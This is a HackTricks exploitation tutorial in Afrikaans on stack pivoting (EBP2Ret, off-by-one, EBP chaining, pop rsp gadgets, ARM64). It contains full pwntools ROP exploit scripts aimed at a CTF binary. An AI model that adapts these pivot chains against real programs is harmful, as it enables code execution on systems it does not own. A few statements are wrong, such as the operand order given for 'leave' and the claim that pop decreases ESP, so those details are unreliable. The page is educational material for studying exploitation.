Afrikaans - Ht
HackTricks Training Twitter Linkedin Sponsor

Stack Pivoting - EBP2Ret - EBP chaining

Ondersteun HackTricks

Basiese Inligting

Hierdie tegniek benut die vermoë om die Base Pointer (EBP) te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die EBP-register en die leave; ret instruksie-sekwensie.

Ter herinnering, leave beteken basies:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

Hierdie tegniek is veral nuttig wanneer jy die EBP-register kan verander, maar geen direkte manier het om die EIP-register te verander nie. Dit benut die gedrag van funksies wanneer hulle klaar is met uitvoer.

As jy, tydens die uitvoering van fvuln, daarin slaag om 'n valse EBP in die stapel in te spuit wat na 'n area in geheue wys waar jou shellcode se adres geleë is (plus 4 bytes om rekening te hou met die pop-operasie), kan jy indirek die EIP beheer. Terwyl fvuln terugkeer, word die ESP op hierdie vervaardigde ligging gestel, en die daaropvolgende pop-operasie verminder ESP met 4, wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is. Let daarop dat jy 2 adresse moet weet: Die een waarheen ESP gaan, waar jy die adres moet skryf wat deur ESP aangedui word.

Exploit Konstruksie

Eerstens moet jy 'n adres weet waar jy arbitrêre data / adresse kan skryf. Die ESP sal hierheen wys en die eerste ret uitvoer.

Dan moet jy die adres weet wat deur ret gebruik word wat arbitrêre kode sal uitvoer. Jy kan gebruik:

  • 'n Geldige ONE_GADGET adres.

  • Die adres van system() gevolg deur 4 rommel bytes en die adres van "/bin/sh" (x86 bits).

  • Die adres van 'n jump esp; gadget (ret2esp) gevolg deur die shellcode om uit te voer.

  • Sommige ROP ketting

Onthou dat daar voor enige van hierdie adresse in die beheerde deel van die geheue, 4 bytes moet wees as gevolg van die pop deel van die leave instruksie. Dit sal moontlik wees om hierdie 4B te misbruik om 'n tweede valse EBP in te stel en voort te gaan om die uitvoering te beheer.

Off-By-One Exploit

Daar is 'n spesifieke variant van hierdie tegniek bekend as 'n "Off-By-One Exploit". Dit word gebruik wanneer jy slegs die minste betekenisvolle byte van die EBP kan verander. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met die ret die eerste drie bytes met die EBP deel, wat 'n soortgelyke manipulasie met meer beperkte toestande moontlik maak. Gewoonlik word die byte 0x00 verander om so ver as moontlik te spring.

Dit is ook algemeen om 'n RET-sled in die stapel te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe ESP binne die RET SLED wys en die finale ROP-ketting uitgevoer word.

EBP Ketting

Daarom, deur 'n beheerde adres in die EBP-invoer van die stapel te plaas en 'n adres na leave; ret in EIP, is dit moontlik om die ESP na die beheerde EBP-adres van die stapel te beweeg.

Nou is die ESP beheers wat na 'n gewenste adres wys en die volgende instruksie om uit te voer is 'n RET. Om dit te misbruik, is dit moontlik om in die beheerde ESP plek dit te plaas:

  • &(next fake EBP) -> Laai die nuwe EBP as gevolg van pop ebp van die leave instruksie

  • system() -> Geroep deur ret

  • &(leave;ret) -> Geroep nadat die stelsel eindig, dit sal ESP na die valse EBP beweeg en weer begin

  • &("/bin/sh")-> Param vir system

Basies is dit op hierdie manier moontlik om verskeie valse EBPs te ketting om die vloei van die program te beheer.

Dit is soos 'n ret2lib, maar meer kompleks sonder enige ooglopende voordeel, maar kan interessant wees in sommige randgevalle.

Boonop het jy hier 'n voorbeeld van 'n uitdaging wat hierdie tegniek gebruik met 'n stapel lek om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP mag dalk nie gebruik word nie

Soos in hierdie pos verduidelik, as 'n binêre met sekere optimaliseringe gecompileer word, kry EBP nooit beheer oor ESP nie, daarom sal enige eksploit wat werk deur EBP te beheer basies misluk omdat dit nie 'n werklike effek het nie. Dit is omdat die proloog en epiloog verander as die binêre geoptimaliseer is.

  • Nie geoptimaliseer nie:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return

  • Geoptimaliseer:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Ander maniere om RSP te beheer

pop rsp gadget

Op hierdie bladsy kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir hierdie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente aan te roep, en daar was 'n pop rsp gadget en daar is 'n leak van die stapel:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Kyk na die ret2esp tegniek hier:

Ret2esp / Ret2reg

Verwysings & Ander Voorbeelde

ARM64

In ARM64, die proloog en epiloge van die funksies stoor en herwin nie die SP registrasie in die stapel nie. Boonop, die RET instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar na die adres binne x30.

Daarom, per standaard, deur net die epiloog te misbruik, sal jy nie in staat wees om die SP registrasie te beheer deur sommige data binne die stapel te oorskry nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om die x30 registrasie te beheer.

  • proloog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP wys na raamrekord

  • epiloge

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Die manier om iets soortgelyks aan stapel pivoting in ARM64 uit te voer, sou wees om in staat te wees om die SP te beheer (deur 'n registrasie te beheer waarvan die waarde aan SP oorgedra word of omdat om een of ander rede SP sy adres van die stapel neem en ons 'n oorskrywing het) en dan die epiloog te misbruik om die x30 registrasie van 'n beheerde SP te laai en RET daarheen.

Ook op die volgende bladsy kan jy die ekwivalent van Ret2esp in ARM64 sien:

Ret2esp / Ret2reg
Ondersteun HackTricks
PreviousStack Shellcode - arm64NextUninitialized Variables

Last updated